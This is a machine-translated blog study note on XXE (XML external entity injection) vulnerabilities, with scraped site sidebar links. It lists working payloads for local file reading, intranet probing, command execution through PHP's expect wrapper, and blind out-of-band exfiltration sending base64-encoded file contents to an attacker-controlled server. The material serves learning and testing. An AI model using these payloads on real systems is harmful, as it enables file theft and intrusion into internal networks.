当前位置:网站首页>XxE & XML vulnerability
XxE & XML vulnerability
2022-07-27 08:11:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
Weekly learning summary link
I remember there was a level before that was this loophole , But I forgot
One 、XXE Loophole
XXE Full name of loophole XML External Entity Injection namely xml External entity injection vulnerability ,XXE The vulnerability is in application parsing XML When the input , Loading of external entities is not prohibited , Causes a malicious external file to load , Cause file read 、 Command execution 、 Intranet port scan 、 Attack intranet sites 、 launch dos Attack, etc .xxe Vulnerability trigger point is often upload xml The location of the file , No upload of xml File filtering , Result in uploadable malicious xml file .
In practice, we may not know how to find this vulnerability , In fact, it's very simple. Just grab a packet and see if the data style is XML Grammar is fine
Two 、XML Learning from
There is really nothing to say about this , If you can't do this , I doubt your ability
3、 ... and 、DTD
When I studied development before , I haven't seen , Advice to see ,
The article links
Four 、 Attack ideas
Reading documents
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://test.txt"> ]> <x>&xxe;</x>Intranet probe or attack intranet application ( Trigger vulnerability address )
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <x>&rabbit;</x>RCE The CASE It's installing expect Extended PHP Executing system commands in the environment
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" > ]> <x>&xxe;</x>Introducing external entities dtd
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x> evil2.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">No echo – Read the file
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"> <!ENTITY % dtd SYSTEM "http:// long-range :8081/test.dtd"> %dtd; %send; ]>Create corresponding files on your own server , Make the target server access its own server , View information from logs
test.dtd:<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" > %payload;agreement - Reading documents ( Bypass )
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <x>&f;</x>
summary
边栏推荐
- Design and development of GUI programming for fixed-point one click query
- Demo:st05 find text ID information
- 企业架构驱动的数字化转型!
- C语言:随机生成数+希尔排序
- Record a PG master-slave setup and data synchronization performance test process
- C language: random number + Hill sort
- Kalibr calibration realsensed435i -- multi camera calibration
- "PHP Basics" PHP statements and statement blocks
- How to log in multiple wechat on the computer
- You may need an additional loader to handle the result of these loaders.
猜你喜欢

Demo submit a program and obtain ALV data of the program

Ubuntu: install PostgreSQL
![[flight control development foundation tutorial 4] crazy shell · open source formation UAV - serial port (optical flow data acquisition)](/img/49/8e5374fee0cbf48115159ac3ff23c6.png)
[flight control development foundation tutorial 4] crazy shell · open source formation UAV - serial port (optical flow data acquisition)

Qt Creator代码风格插件Beautifier

Solve the problem of slow batch insertion of MySQL JDBC data

孙子出题难,儿子监考严。老子不会做,还我上学钱

How to analyze and locate problems in 60 seconds?

1024 | in the fourth year officially called Menon, the original intention is still there, and continue to move forward

Download and usage of sequel Pro

鲁迅:我不记得说没说过,要不你自己查!
随机推荐
Lu Xun: I don't remember saying it, or you can check it yourself!
[ten thousand words long article] thoroughly understand load balancing, and have a technical interview with Alibaba Daniel
Dormitory access control system made by imitating the boss (III)
Shell scripts related
Promise details
How does slf4j configure logback?
Leetcode54. Spiral matrix
C language: random number + Hill sort
idea远程调试
反弹shell是什么?反弹shell有什么用?
Day111. Shangyitong: integrate nuxt framework, front page data, hospital details page
Stored procedures and functions
企业架构驱动的数字化转型!
数据库启动报error_user_connect_times &gt; 0错误
opengauss从库停掉,发现主库无法写入数据
代码接口自动化的有点
【Day42 文献精读】A Bayesian Model of Perceived Head-Centered Velocity during Smooth Pursuit Eye Movement
Plato farm is expected to further expand its ecosystem through elephant swap
[applet] the upload of the wechat applet issued by uniapp failed error: error: {'errcode': -10008,'errmsg':'Invalid IP
Harbor正确密码登录不上去